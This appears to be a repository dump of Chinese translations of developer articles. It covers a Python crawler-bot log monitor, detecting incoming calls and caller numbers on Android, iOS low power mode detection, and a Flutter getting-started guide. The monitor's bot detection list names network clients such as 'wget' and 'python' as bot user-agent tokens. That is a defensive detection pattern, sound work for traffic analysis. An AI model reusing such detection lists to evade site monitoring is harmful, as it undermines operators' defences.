爬虫机器人监控脚本\n\n接下来的部分是跑 monitor.py 的内容。这段脚本从 stdin（标准输入） 管道中接收 web 流量日志。这说明你可以通过 ssh 在远程服务器上看日志，在本地跑这段脚本。\n\n我先从 Python 标准库里导入两个库，并通过 pip 安装了五个外部库。\n\n```\nimport sys\nfrom urlparse import urlparse\n\nimport apache_log_parser\nfrom colorama import Back, Style\nimport geoip2.database\nfrom netaddr import IPNetwork, IPAddress\nfrom user_agents import parse\n```\n\n接下来我设置好 MaxMind 的 geoip2 库，以使用「GeoLite2-City.mmdb」城市级别的库。\n\n我还设置了 apache_log_parser，来处理存储的 web 日志格式。你的日志格式可能不一样，所以可能需要花点时间比较下你的 web 服务器的流量日志配置与这个库的 [格式文档](https://github.com/rory/apache-log-parser#supported-values)。\n\n最后，我有一个我发现的属于那七家公司的 CIDR 块的字典。在这个列表里，从本质上来说，百度不是一家主机或者云提供商，但是跑着很多无法通过它们的用户代理所识别的爬虫机器人。\n\n```\nreader = geoip2.database.Reader('GeoLite2-City.mmdb')\n\n_format = \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\"\nline_parser = apache_log_parser.make_parser(_format)\n\nCIDRS = {\n    'Amazon': ['107.20.0.0/14', '122.248.192.0/19', '122.248.224.0/19',\n               '172.96.96.0/20', '174.129.0.0/16', '175.41.128.0/19',\n               '175.41.160.0/19', '175.41.192.0/19', '175.41.224.0/19',\n               '176.32.120.0/22', '176.32.72.0/21', '176.34.0.0/16',\n               '176.34.144.0/21', '176.34.224.0/21', '184.169.128.0/17',\n               '184.72.0.0/15', '185.48.120.0/26', '207.171.160.0/19',\n               '213.71.132.192/28', '216.182.224.0/20', '23.20.0.0/14',\n               '46.137.0.0/17', '46.137.128.0/18', '46.51.128.0/18',\n               '46.51.192.0/20', '50.112.0.0/16', '50.16.0.0/14', '52.0.0.0/11',\n               '52.192.0.0/11', '52.192.0.0/15', '52.196.0.0/14',\n               '52.208.0.0/13', '52.220.0.0/15', '52.28.0.0/16', '52.32.0.0/11',\n               '52.48.0.0/14', '52.64.0.0/12', '52.67.0.0/16', '52.68.0.0/15',\n               '52.79.0.0/16', '52.80.0.0/14', '52.84.0.0/14', '52.88.0.0/13',\n               '54.144.0.0/12', '54.160.0.0/12', '54.176.0.0/12',\n               '54.184.0.0/14', '54.188.0.0/14', '54.192.0.0/16',\n               '54.193.0.0/16', '54.194.0.0/15', '54.196.0.0/15',\n               '54.198.0.0/16', '54.199.0.0/16', '54.200.0.0/14',\n               '54.204.0.0/15', '54.206.0.0/16', '54.207.0.0/16',\n               '54.208.0.0/15', '54.210.0.0/15', '54.212.0.0/15',\n               '54.214.0.0/16', '54.215.0.0/16', '54.216.0.0/15',\n               '54.218.0.0/16', '54.219.0.0/16', '54.220.0.0/16',\n               '54.221.0.0/16', '54.224.0.0/12', '54.228.0.0/15',\n               '54.230.0.0/15', '54.232.0.0/16', '54.234.0.0/15',\n               '54.236.0.0/15', '54.238.0.0/16', '54.239.0.0/17',\n               '54.240.0.0/12', '54.242.0.0/15', '54.244.0.0/16',\n               '54.245.0.0/16', '54.247.0.0/16', '54.248.0.0/15',\n               '54.250.0.0/16', '54.251.0.0/16', '54.252.0.0/16',\n               '54.253.0.0/16', '54.254.0.0/16', '54.255.0.0/16',\n               '54.64.0.0/13', '54.72.0.0/13', '54.80.0.0/12', '54.72.0.0/15',\n               '54.79.0.0/16', '54.88.0.0/16', '54.93.0.0/16', '54.94.0.0/16',\n               '63.173.96.0/24', '72.21.192.0/19', '75.101.128.0/17',\n               '79.125.64.0/18', '96.127.0.0/17'],\n    'Baidu': ['180.76.0.0/16', '119.63.192.0/21', '106.12.0.0/15',\n              '182.61.0.0/16'],\n    'DO': ['104.131.0.0/16', '104.236.0.0/16', '107.170.0.0/16',\n           '128.199.0.0/16', '138.197.0.0/16', '138.68.0.0/16',\n           '139.59.0.0/16', '146.185.128.0/21', '159.203.0.0/16',\n           '162.243.0.0/16', '178.62.0.0/17', '178.62.128.0/17',\n           '188.166.0.0/16', '188.166.0.0/17', '188.226.128.0/18',\n           '188.226.192.0/18', '45.55.0.0/16', '46.101.0.0/17',\n           '46.101.128.0/17', '82.196.8.0/21', '95.85.0.0/21', '95.85.32.0/21'],\n    'Dream': ['173.236.128.0/17', '205.196.208.0/20', '208.113.128.0/17',\n              '208.97.128.0/18', '67.205.0.0/18'],\n    'Google': ['104.154.0.0/15', '104.196.0.0/14', '107.167.160.0/19',\n               '107.178.192.0/18', '108.170.192.0/20', '108.170.208.0/21',\n               '108.170.216.0/22', '108.170.220.0/23', '108.170.222.0/24',\n               '108.59.80.0/20', '130.211.128.0/17', '130.211.16.0/20',\n               '130.211.32.0/19', '130.211.4.0/22', '130.211.64.0/18',\n               '130.211.8.0/21', '146.148.16.0/20', '146.148.2.0/23',\n               '146.148.32.0/19', '146.148.4.0/22', '146.148.64.0/18',\n               '146.148.8.0/21', '162.216.148.0/22', '162.222.176.0/21',\n               '173.255.112.0/20', '192.158.28.0/22', '199.192.112.0/22',\n               '199.223.232.0/22', '199.223.236.0/23', '208.68.108.0/23',\n               '23.236.48.0/20', '23.251.128.0/19', '35.184.0.0/14',\n               '35.188.0.0/15', '35.190.0.0/17', '35.190.128.0/18',\n               '35.190.192.0/19', '35.190.224.0/20', '8.34.208.0/20',\n               '8.35.192.0/21', '8.35.200.0/23',],\n    'Hetzner': ['129.232.128.0/17', '129.232.156.128/28', '136.243.0.0/16',\n                '138.201.0.0/16', '144.76.0.0/16', '148.251.0.0/16',\n                '176.9.12.192/28', '176.9.168.0/29', '176.9.24.0/27',\n                '176.9.72.128/27', '178.63.0.0/16', '178.63.120.64/27',\n                '178.63.156.0/28', '178.63.216.0/29', '178.63.216.128/29',\n                '178.63.48.0/26', '188.40.0.0/16', '188.40.108.64/26',\n                '188.40.132.128/26', '188.40.144.0/24', '188.40.48.0/26',\n                '188.40.48.128/26', '188.40.72.0/26', '196.40.108.64/29',\n                '213.133.96.0/20', '213.239.192.0/18', '41.203.0.128/27',\n                '41.72.144.192/29', '46.4.0.128/28', '46.4.192.192/29',\n                '46.4.84.128/27', '46.4.84.64/27', '5.9.144.0/27',\n                '5.9.192.128/27', '5.9.240.192/27', '5.9.252.64/28',\n                '78.46.0.0/15', '78.46.24.192/29', '78.46.64.0/19',\n                '85.10.192.0/20', '85.10.228.128/29', '88.198.0.0/16',\n                '88.198.0.0/20'],\n    'Linode': ['104.200.16.0/20', '109.237.24.0/22', '139.162.0.0/16',\n               '172.104.0.0/15', '173.255.192.0/18', '178.79.128.0/21',\n               '198.58.96.0/19', '23.92.16.0/20', '45.33.0.0/17',\n               '45.56.64.0/18', '45.79.0.0/16', '50.116.0.0/18',\n               '80.85.84.0/23', '96.126.96.0/19'],\n}\n```\n\n我创建了一个工具函数，可以传入一个 IPv4 地址和一个 CIDR 块列表，它会告诉我这个 IP 地址是不是属于给定的这些 CIDR 块中的任何一个。\n\n```\ndef in_block(ip, block):\n    _ip = IPAddress(ip)\n    return any([True\n                for cidr in block\n                if _ip in IPNetwork(cidr)])\n```\n\n下面这个函数接收请求（ req ）和浏览器代理（ agent ）的对象，并尝试用这两个对象来判断流量源头／浏览器代理是否来自爬虫机器人。这个浏览器代理对象是使用 Python 用户代理库构造的，并且有一些测试用于判断，用户代理字串是否属于某个已知的爬虫机器人。我已经用一些我从库的分类系统中看到的 token 来扩展这些测试。同时我在 CIDR 块迭代，来判断远程主机的 IPv4 地址是否在里面。\n\n```\ndef bot_test(req, agent):\n    ua_tokens = ['daum/', # Daum Communications Corp.\n                 'gigablastopensource',\n                 'go-http-client',\n                 'http://',\n                 'httpclient',\n                 'https://',\n                 'libwww-perl',\n                 'phantomjs',\n                 'proxy',\n                 'python',\n                 'sitesucker',\n                 'wada.vn',\n                 'webindex',\n                 'wget']\n\n    is_bot = agent.is_bot or \\\n             any([True\n                  for cidr in CIDRS.values()\n                  if in_block(req['remote_host'], cidr)]) or \\\n             any([True\n                  for token in ua_tokens\n                  if token in agent.ua_string.lower()])\n\n    return is_bot\n```\n\n下面是脚本的主要部分。web 流量日志从标准输入里一行行地读入。内容的每一行都被解析成一个带 token 版本的请求、用户代理和被请求的 URI。这些对象让与这些数据打交道变得更容易，不需要去麻烦地在空中解析它们。\n\n我尝试着用 MaxMind 的库查询与这些 IPv4 相关的城市和国家。如果有任何类型的查询失败，结果会简单地设置为 None。\n\n在爬虫机器人测试后，我准备输出。如果请求看起来是从爬虫机器人处发送的，它会被标成红色背景，高亮在输出上。\n\n```\nif __name__ == '__main__':\n    while True:\n        try:\n            line = sys.stdin.readline()\n        except KeyboardInterrupt:\n            break\n\n        if not line:\n            break\n\n        req = line_parser(line)\n        agent = parse(req['request_header_user_agent'])\n        uri = urlparse(req['request_url'])\n\n        try:\n            response = reader.city(req['remote_host'])\n            country, city = response.country.iso_code, response.city.name\n        except:\n            country, city = None, None\n\n        is_bot = bot_test(req, agent)\n\n        agent_str = ', '.join([item\n                               for item in agent.browser[0:3] +\n                                           agent.device[0:3] +\n                                           agent.os[0:3]\n                               if item is not None and\n                                  type(item) is not tuple and\n                                  len(item.strip()) and\n                                  item != 'Other'])\n\n        ip_owner_str = ' '.join([network + ' IP'\n                                  for network, cidr in CIDRS.iteritems()\n                                  if in_block(req['remote_host'], cidr)])\n\n        print Back.RED + 'b' if is_bot else 'h', \\\n              country, \\\n              city, \\\n              uri.path, \\\n              agent_str, \\\n              ip_owner_str, \\\n              Style.RESET_ALL\n```\n\n## 爬虫机器人检测实战\n\n接下来是一个例子，在把这些内容放到监测脚本时，我是用下面这种方式连接输出 web 流量日志的最后一百行的。\n\n```\n$ ssh server \\\n    'tail -n100 -f access.log' \\\n    | python monitor.py\n```\n\n\n有可能来源于爬虫机器人的请求将使用红色背景和「b」前缀高亮。不存在爬虫机器人的流量将被打上「h」的前缀，代表 human（人）。下面是从脚本出来的样例输出，不过没有 ANSI 背景色。\n\n    ...\n    b US Indianapolis /robots.txt Python Requests 2.2 Linux 3.2.0\n    h DE Hamburg /tensorflow-vizdoom-bots.html Firefox 45.0 Windows 7\n    h DE Hamburg /theme/css/style.css Firefox 45.0 Windows 7\n    h DE Hamburg /theme/css/syntax.css Firefox 45.0 Windows 7\n    h DE Hamburg /theme/images/mark.jpg Firefox 45.0 Windows 7\n    b US Indianapolis /feeds/all.atom.xml rogerbot 1.0 Spider Spider Desktop\n    b US Mountain View /billion-nyc-taxi-kdb.html  Google IP\n    h CH Zurich /billion-nyc-taxi-rides-s3-vs-hdfs.html Chrome 56.0.2924 Windows 7\n    h IE Dublin /tensorflow-vizdoom-bots.html Chrome 56.0.2924 Mac OS X 10.12.0\n    h IE Dublin /theme/css/style.css Chrome 56.0.2924 Mac OS X 10.12.0\n    h IE Dublin /theme/css/syntax.css Chrome 56.0.2924 Mac OS X 10.12.0\n    h IE Dublin /theme/images/mark.jpg Chrome 56.0.2924 Mac OS X 10.12.0\n    b SG Singapore /./theme/images/mark.jpg Slack-ImgProxy Spider Spider Desktop Amazon IP\n"
  },
  {
    "path": "TODO/detecting-incoming-phone-calls-in-android.md",
    "content": "\n> * 原文地址：[Detecting Incoming Phone Calls In Android](http://www.theappguruz.com/blog/detecting-incoming-phone-calls-in-android)\n* 原文作者：[Parimal Gotecha](http://www.theappguruz.com/author/parimalgotecha)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[PhxNirvana](https://github.com/phxnirvana)\n* 校对者：[XHShirley](https://github.com/XHShirley), [jamweak](https://github.com/jamweak)\n\n# 在 Android 应用中监测来电信息\n\n\n\n\n## 目标\n\n本文的主要目标是监测 Android 中的来电状态信息。\n\n**你想在你的 Android 应用中监测来电状态和来电号码么？**\n\n**你在处理通话、摘机、空闲状态时无从下手么？**\n\n**你想在收到来电、摘机（接听时的状态）或空闲（挂机状态）时做一些事情么？**\n\n我最近搞的一个大工程中必须要用到监测电话信息。\n\n如果你想知道我如何实现的话，就继续读下去吧。.\n\n**即使应用关闭也可以监测来电信息**\n\n你知道么，即使你的 Android 应用是关闭状态，也可以在应用中取到来电信息的。\n\n这很酷，是吧？现在让我们看看该 **“怎么做”** ！\n\n**关键点在于 Receiver**\n\n你听说过 Android 里面的 receiver 么？\n\n如果听说过的话，那么你会很容易的弄清楚手机状态这个概念的。\n\n当然，没听说过也不要担心，我会告诉你 receiver 是什么以及如何在应用中使用它。\n\n**RECEIVER 到底是个什么鬼东西？**\n\nBroadcast receiver 帮助我们接收系统或其他应用的消息。\n\nBroadcast receiver 响应来自系统本身或其他应用的广播信息（intent、event等）。\n\n**点击以下链接获取更多知识：**\n\n*   [https://developer.android.com/reference/android/content/BroadcastReceiver.html](https://developer.android.com/reference/android/content/BroadcastReceiver.html)\n\n**在我们的应用里创建一个 Broadcast Receiver 需要执行以下两步：**\n\n1.  创建 Broadcast Receiver\n2.  注册 Broadcast Receiver\n\n让我们先在 Android Studio 里建立一个带有空白 Activity 的简单工程。\n\n**如果你第一次接触 Android studio 不知道如何创建新工程的话，点击以下链接：**\n\n*   [http://www.theappguruz.com/blog/create-new-project-in-android-studio](http://www.theappguruz.com/blog/create-new-project-in-android-studio)\n\n**让我们创建并注册 BROADCAST RECEIVER**\n\n创建一个名为 **PhoneStateReceiver** 的 Java 类文件，并继承 **BroadcastReceiver** 类。\n\n要注册 Broadcast Receiver的话，需要将以下代码写入 ```AndroidMainifest.xml``` 文件\n\n```\n<receiver android:name=\".PhoneStateReceiver\">\n    <intent-filter>\n        <action android:name=\"android.intent.action.PHONE_STATE\" />\n    </intent-filter>\n</receiver>\n```\n\n### 注意\n\n你必须在 ```<application>```标签内写这几行代码.\n\n\n\n我们的主要目的是接收通话广播，所以我们需要将 ```android.intent.action.PHONE_STATE``` 作为 receiver 的 action。\n\n**你的 ```AndroidMainifest.xml``` 文件应该和下图一样**:\n\n![Phone State Receiver](http://www.theappguruz.com/app/uploads/2016/05/1-phonestatereceiver.png)\n\n漂亮！我们成功的在项目中加入了一个 Broadcast Receiver。\n\n**你得到权限了么？**\n\n为了在应用中接收手机的通话状态广播，你需要取得对应的权限。\n\n我们需要在 ```AndroidManifest.xml``` 文件中写入以下代码来获取权限。\n\n```\n<uses-permission android:name=\"android.permission.READ_PHONE_STATE\" />\n``` \n\n**现在你的 ```AndroidManifest.xml``` 应该和下面这张图一样了**\n\n![Read Phone State](http://www.theappguruz.com/app/uploads/2016/05/2-read_phone_state.png)\n\n**关于 onReceive() 方法的来龙去脉**\n\n现在让我们将目光转回到 继承了  **BroadcastReceiver** 的 **PhoneStateListener** 类中。\n\n在这个类中我们需要重写 _```onReceive(Contex context, Intenet intent)```_ 方法，因为在基类（BroadcastReceiver）中这个方法是抽象方法（abstract method）。\n\n**你对** onReceive() **方法了解多少呢？**\n\n**如果我让你天马行空的想象一下这个方法的作用，你会怎么猜呢？**\n\n**提示：** 它的名字已经解释了一切。\n\n加油……努力……你离答案只有一步之遥了……\n\n是的，就是你猜的那样。_**onReceive()**_ 使用 **Intent** 对象参数来接收每个消息。我们已经声明并在 **AndroidManifest.xml** 中注册了Broadcast Receiver。\n\n现在，让我们将目光转向 **PhoneStateReciver.java** 文件来看看我们要在 _**onReceive()**_ 方法中做些什么。\n\n    public void onReceive(Context context, Intent intent) {\n\n        try {\n            System.out.println(\"Receiver start\");\n            Toast.makeText(context,\" Receiver start \",Toast.LENGTH_SHORT).show();\n        }\n        catch (Exception e){\n            e.printStackTrace();\n        }\n\n    }\n\n我们已经做了一堆准备工作了，你觉得我们现在是不是可以检测到通话状态了呢？\n\n先自己想一想。\n\n目前只要收到来电就会弹出一个显示 **Receiver start** 消息的 toast，我们也会在控制台中收到同样的消息，因为我们已经将其输出到控制台中。\n![Receiver Start](http://www.theappguruz.com/app/uploads/2016/05/receiver-start.png)\n\n但……\n\n**我们无法得知准确的通话状态，我们的目标是取到如下的状态：**\n\n*   响铃\n*   摘机\n*   空闲\n\n**保持冷静，继续探索手机状态**\n\n那我们要怎么做来取到电话状态信息呢？ 你听说过 Android 里面的 Telephony Manager 么？\n\n如果你对 Telephony Manager 不熟悉的话，别担心。我会教你什么是 Telephony Manager 以及如何用它取到通话状态的。\n\nTelephony Manager 会将来自 Android 设备电话的全部状态信息告诉你。利用这些状态我们可以做许多事。\n\n**想了解更多关于 Telephony Manager 的知识，请点以下链接：**\n\n*   [https://developer.android.com/reference/android/telephony/TelephonyManager.html](https://developer.android.com/reference/android/telephony/TelephonyManager.html)\n\n我们可以通过 **TelephonyManager.EXTRA_STATE** 来取得当前通话状态。它会用一个 **String** 对象来返回当前通话状态。\n\n**以如下方式新建一个 String 对象来获取不同的通话状态信息：**\n\n    String state = intent.getStringExtra(TelephonyManager.EXTRA_STATE);\n\n**要获取不同的状态，我们可以用下面的代码达到目的：**\n\n    if(state.equals(TelephonyManager.EXTRA_STATE_RINGING)){\n        Toast.makeText(context,\"Ringing State Number is -\"+incomingNumber,Toast.LENGTH_SHORT).show();\n    }\n    if ((state.equals(TelephonyManager.EXTRA_STATE_OFFHOOK))){\n        Toast.makeText(context,\"Received State\",Toast.LENGTH_SHORT).show();\n    }\n    if (state.equals(TelephonyManager.EXTRA_STATE_IDLE)){\n        Toast.makeText(context,\"Idle State\",Toast.LENGTH_SHORT).show();\n    }\n\n现在我们的 **PhoneCallReceiver** 类应该如下所示：\n\n![Broadcast Receiver](http://www.theappguruz.com/app/uploads/2016/05/4-broadcastreceiver-.png)\n\n**是的，我们成功了！！！**\n\n我们成功达到了目标，你可以用模拟器或真机来检验一下成果。\n\n**如果你不知道如何打开模拟器的话，按照下面的步骤来：**\n\n1.  打开 Android studio\n2.  点击 Android Device Monitor。如果你找不到 Android Device Monitor 的话，看下面这张截图。\n\n![Android Device Moniter](http://www.theappguruz.com/app/uploads/2016/05/android-device-moniter.png)\n\n**下面这张图会显示如何操作模拟器**\n\n![Emulator Control](http://www.theappguruz.com/app/uploads/2016/05/emulator-control.png)\n\n如果你使用新版本的 Android Studio (2.1 +) 或者你有最新的 **HAXM** 那你要跟着下面这张图来\n\n![Phone Device](http://www.theappguruz.com/app/uploads/2016/05/7-phone-device-1234567890.png)\n\n就酱。你可以用模拟器来监测通话状态了，下面的截图显示了运行结果。\n\n**结果 1\\. 来电状态**\n\n![Incoming Call State](http://www.theappguruz.com/app/uploads/2016/05/8-incoming-call-state.png)\n\n**结果 2\\. 接听状态**\n\n![Call Receiver State](http://www.theappguruz.com/app/uploads/2016/05/9-call-receiver-state.png)\n\n**结果 3\\. 空闲状态**\n\n![Call Idle State](http://www.theappguruz.com/app/uploads/2016/05/10-call-idle-state.png)\n\n我们的主要目标就完成了。\n\n**需要来电号码？**\n\n你仔细看过 Telephony Manager 这个类么？\n\n你看到 **TelephonyManager.EXTRA_INCOMING_NUMBER** 这个了么？\n\n如果你已经了解了 **TelephonyManager.EXTRA_INCOMING_NUMBER**，那很好，证明你读过我在上面给的关于 Telephony Manager 类的链接了\n\n**TelephonyManager.EXTRA_INCOMING_NUMBER** 用 String 的形式返回来电号码。\n\n![Extra State](http://www.theappguruz.com/app/uploads/2016/05/11-extra-state.png)\n\n    String incomingNumber = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER);\n\n**如果你想在自己的应用中监测来电号码，可以利用下面的代码：**\n\n    public class PhoneStateReceiver extends BroadcastReceiver {\n        @Override\n        public void onReceive(Context context, Intent intent) {\n\n            try {\n                String state = intent.getStringExtra(TelephonyManager.EXTRA_STATE);\n                String incomingNumber = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER);\n\n                if(state.equals(TelephonyManager.EXTRA_STATE_RINGING)){\n\n                    Toast.makeText(context,\"Ringing State Number is - \" + incomingNumber, Toast.LENGTH_SHORT).show();\n                }\n            }\n            catch (Exception e){\n                e.printStackTrace();\n            }\n\n        }\n\n啊哈！我们成功取到了来电号码！\n\n但愿本篇博客在获取来电信息方面对你有所帮助。对于获取来电消息方面还有问题的话请留言，我会尽快回复的。\n\n学习 Android 很棒，不是么？来看看其他的 [**Android 教程**](http://www.theappguruz.com/category/android) 吧。\n\n有开发 Android 应用的灵感？还等什么，快 [**联系我们**](http://www.theappguruz.com/contact-us) ，灵感直播即将上线。我们的公司被提名为印度最好的  [**Android 应用开发公司**](http://www.theappguruz.com/android-app-development) 。\n"
  },
  {
    "path": "TODO/detecting-low-power-mode.md",
    "content": ">* 原文链接 : [Detecting low power mode](http://useyourloaf.com/blog/detecting-low-power-mode/)\n* 原文作者 : [useyourloaf](http://useyourloaf.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zheaoli](https://github.com/Zheaoli)\n* 校对者 : [LoneyIsError](https://github.com/LoneyIsError), [wild-flame](https://github.com/wild-flame)\n\n# 如何检测 iPhone 是否处于低电量模式\n\n这个星期，我阅读了一篇关于Uber怎样检测手机处于省电模式的文章。（注：文章连接是[Uber found people more likely to pay](http://www.npr.org/2016/05/17/478266839/this-is-your-brain-on-uber)） 在人们手机快要关机时，使用Uber可能会面临更高的价格。 这家公司（注：指Uber）宣称他们不会利用手机是否处于节能模式这一数据来进行定价， 但是这里我想知道 **我们怎么知道用户的iPhone处于低电量模式**\n\n\n### 低电量模式\n\n在iOS 9中，苹果为iPhone手机新添加了 [低电量模式](https://support.apple.com/en-gb/HT205234) 功能。在你能充电之前，低电量模式通过关闭诸如邮件收发，Siri，后台消息推送能耗电功能来延长你的电池使用时间。\n\n在这里面，很重要的一点是，是否进入低电量模式是由用户自行决定的。 你需要进入电池设置中去开启低电量模式。当你进入低电量模式的时候，状态栏上的电池图标会变成黄色。\n\n![Low Power Mode](http://ww3.sinaimg.cn/large/72f96cbajw1f4dvuztcnej20m80et0u9)\n\n当你充电至80%以上时，系统会自动关闭低电量模式。\n\n### 低电量模式检测\n\n事实证明，在iOS 9中获取低电量模式信息是很容易的一件事。 你可以通过**NSProcessInfo**这个类来判断用户是否进入了低电量模式：\n\n~~~ Swift\n    if NSProcessInfo.processInfo().lowPowerModeEnabled {\n      // stop battery intensive actions\n    }\n\n~~~\n\n如果你想用Objective-C来实现这个功能:\n\n~~~ Objective-C\n    if ([[NSProcessInfo processInfo] isLowPowerModeEnabled]) {\n      // stop battery intensive actions\n    }\n\n~~~\n\n如果你监听了**NSProcessInfoPowerStateDidChangeNotification**通知，在用户切换进入低电量模式的时候你将接收到一个消息。比如，在视图控制器中的**viewDidLoad**方法中:\n\n~~~ Swift\n    NSNotificationCenter.defaultCenter().addObserver(self,\n      selector: #selector(didChangePowerMode(_:)),\n      name: NSProcessInfoPowerStateDidChangeNotification,\n      object: nil)\n~~~\n\n~~~ Objective-C\n    [[NSNotificationCenter defaultCenter] addObserver:self\n      selector:@selector(didChangePowerMode:)\n      name:NSProcessInfoPowerStateDidChangeNotification\n      object:nil];\n~~~\n\n在我第一次发布这篇文章后，很多人提醒我：对于只对iOS 9.X适配的开发者而言，没有必要在 **ViewController** 消失时去移除 **Observer** 。\n\n接着在这个方法会监视电池模式并在切换的时候给予一个响应。\n\n~~~ swift\n    func didChangePowerMode(notification: NSNotification) {\n        if NSProcessInfo.processInfo().lowPowerModeEnabled {\n          // low power mode on\n        } else {\n          // low power mode off\n        }\n    }\n~~~\n\n~~~ Objective-C\n    - (void)didChangePowerMode:(NSNotification *)notification {\n      if ([[NSProcessInfo processInfo] isLowPowerModeEnabled]) {\n        // low power mode on\n      } else {\n        // low power mode off\n      }\n    }\n~~~\n小贴士:\n\n*   这个通知方法和NSProcessInfo里的属性是在iOS 9系统中新提供的方法。如果你想让你的APP兼容iOS8或者更早版本的系统，你需要去这个网站 [test for availability](http://useyourloaf.com/blog/checking-api-availability-with-swift/)测试你的代码是否能正常运行。\n\n*   低电量模式是iPhone独有的特性，如果你在iPad上测试前面的代码，会一直返回false。\n\n\n只有在你的 App 能够采取一些节能措施来延长电池寿命的情况下，检测用户开启了低电量模式才是有用的。这里，苹果给了一些建议：\n\n\n\n*   停止更新位置\n*   减少用户交互动画\n*   关闭数据流量这样的后台操作\n*   关闭特效\n"
  },
  {
    "path": "TODO/develop-your-first-application-with-flutter.md",
    "content": "> * 原文地址：[Develop your first Application with Flutter](https://hackernoon.com/develop-your-first-application-with-flutter-60c4308d18b7)\n> * 原文作者：[Gahfy](https://hackernoon.com/@Gahfy?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/develop-your-first-application-with-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO/develop-your-first-application-with-flutter.md)\n> * 译者：[mysterytony](https://github.com/mysterytony)\n> * 校对者：[rockzhai](https://github.com/rockzhai), [zhaochuanxing](https://github.com/zhaochuanxing)\n\n# 用 Flutter 开发你的第一个应用程序\n\n![](https://cdn-images-1.medium.com/max/2000/1*P-bGlIkJPfxhVc4OsiXgCg.jpeg)\n\n一周前，Flutter 在巴塞罗那的 MWC 上发布了第一版公测版本。本文的主要目的是向你展示如何用 Flutter 开发第一个功能齐全的应用程序。\n\n这篇文章会介绍 Flutter 的安装过程和工作原理，所以会比平时长一点。\n\n我们将开发一个向用户显示从 [JSONPlaceholder API](https://jsonplaceholder.typicode.com/) 中检索的帖子列表的应用程序。\n\n### 什么是 Flutter ？\n\nFlutter 是一款 SDK，它可以让你开发基于 Android，iOS 或者 Google 的下一个操作系统 Fuschia 的原生应用。它使用 Dart 作为主要编程语言。\n\n### 安装所需的工具\n\n#### Git，Android Studio 和 XCode\n\n为了获取 Flutter，你需要克隆其官方仓库。如果你想开发 Android 应用，则还需要 Android Studio 。如果要开发 iOS 应用，则还需要 XCode 。\n\n#### IntelliJ IDEA\n\n你还需要 IntelliJ IDEA（这不是必须的，但是会很有用）。安装完 IntelliJ IDEA 之后，把 Dart 和 Flutter 插件添加到 IntelliJ IDEA。\n\n#### 获取 Flutter\n\n你所要做的就是克隆 Flutter 官方仓库：\n\n``` bash\ngit clone -b beta https://github.com/flutter/flutter.git\n```\n\n然后，你需要将把 bin 文件夹的路径添加到 PATH 环境变量中。就这样，你现在可以开始用 Flutter 开发应用程序了。\n\n虽然这已经足够了，为了不让这篇文章显得冗长，我缩短了安装过程的讲解。如果你需要更完整的指南，请转至 [官方文档](https://flutter.io/get-started/install/)。\n\n### 开发第一个项目\n\n让我们现在打开 IntelliJ IDEA 并创建第一个项目。在左侧面板中，选择 Flutter （如果没有，就请将 Flutter 和 Dart 插件安装到你的 IDE 中）。\n\n我们以以下方式命名：\n\n*   **项目名称**: feedme\n*   **描述**: A sample JSON API project\n*   **组织**: net.gahfy\n*   **Android 语言**: Kotlin\n*   **iOS 语言**: Swift\n\n#### 运行第一个项目并探索 Flutter\n\nIntelliJ 的编辑器打开了一个名为 `main.dart` 的文件，它是应用程序的主文件。如果你还不了解 Dart，别慌，这个教程的剩下部分不时必须的。\n\n现在，将 Android 或 iOS 手机插入你的计算机，或运行一个模拟器。\n\n你现在可以通过点击右上角的运行按钮（带有绿色三角形）来运行该应用程序：\n\n![](https://cdn-images-1.medium.com/max/800/1*RKDfTzmZjwwqj0_JzssYqQ.png)\n\n点击底部浮动动作按钮来增加显示的数字。我们现在不会深入研究其代码，但我们会用 Flutter 发现一些有趣的功能。\n\n#### Flutter 热重载\n\n你可以看到，这个应用的主要颜色是蓝色。我们可以改成红色。在 `main.dart` 文件中，找到以下代码：\n\n``` dart\nreturn new MaterialApp(\n  title: 'Flutter Demo',\n  theme: new ThemeData(\n    // This is the theme of your application.\n    //\n    // Try running your application with \"flutter run\". You'll see the\n    // application has a blue toolbar. Then, without quitting the app, try\n    // changing the primarySwatch below to Colors.green and then invoke\n    // \"hot reload\" (press \"r\" in the console where you ran \"flutter run\",\n    // or press Run > Flutter Hot Reload in IntelliJ). Notice that the\n    // counter didn't reset back to zero; the application is not restarted.\n    primarySwatch: Colors.blue,\n  ),\n  home: new MyHomePage(title: 'Flutter Demo Home Page'),\n);\n```\n\n在这个部分，用 `Colors.red` 来代替 `Colors.blue`。Flutter 允许你热加载应用程序，也就是说应用程序的当前状态不会被修改，但是会使用新的代码。\n\n在应用程序中，点击底部浮动的 + 按钮开增加 counter 。\n\n然后，在 IntelliJ 右上角，点击 Hot Reload 按钮（带有黄色闪电）。你可以开到主要的颜色变成了红色，但是 counter 保持着一样的数字。\n\n### 开发最终的应用程序\n\n让我们现在删除 `main.dart` 文件里所有内容，这岂不是一个更好的学习方式吗。\n\n#### 最小的应用程序\n\n我们要做的第一件事就是开发最小的应用程序，也就是能运行的最少代码。因为我们会用 Material Design 来设计我们的应用程序，所以首先要导入包含 Material Design Widgets 的包。\n\n``` dart\nimport 'package:flutter/material.dart';\n```\n\n现在我们来创建一个继承 `StatelessWidget` 的类来创建我们应用程序的一个实例（之后会深入讨论 `StatelessWidget`）。\n\n``` dart\nimport 'package:flutter/material.dart';\n \nclass MyApp extends StatelessWidget {\n \n}\n```\n\nIntelliJ IDEA 在 MyApp 下显示红色下划线。实际上 `StatelessWidget` 是一个需要实现 `build()` 方法的抽象类。为此，将光标移动到 MyApp 上，然后按 Alt + Enter 。\n\n``` dart\nimport 'package:flutter/material.dart';\n \nclass MyApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    // TODO: implement build\n  }\n}\n```\n\n现在我们来实现 `build()` 方法，我们可以看到它必须返回一个 `Widget` 实例。我们要在这里构建应用程序时返回一个 `MaterialApp`。为此，在 `build()` 中添加以下代码：\n\n``` dart\nreturn new MaterialApp();\n```\n\n`MaterialApp` 的文档告诉我们至少要初始化 `home`，`routes`，`onGenerateRoute` 或者 `builder` 。我们只会在这里定义 `home` 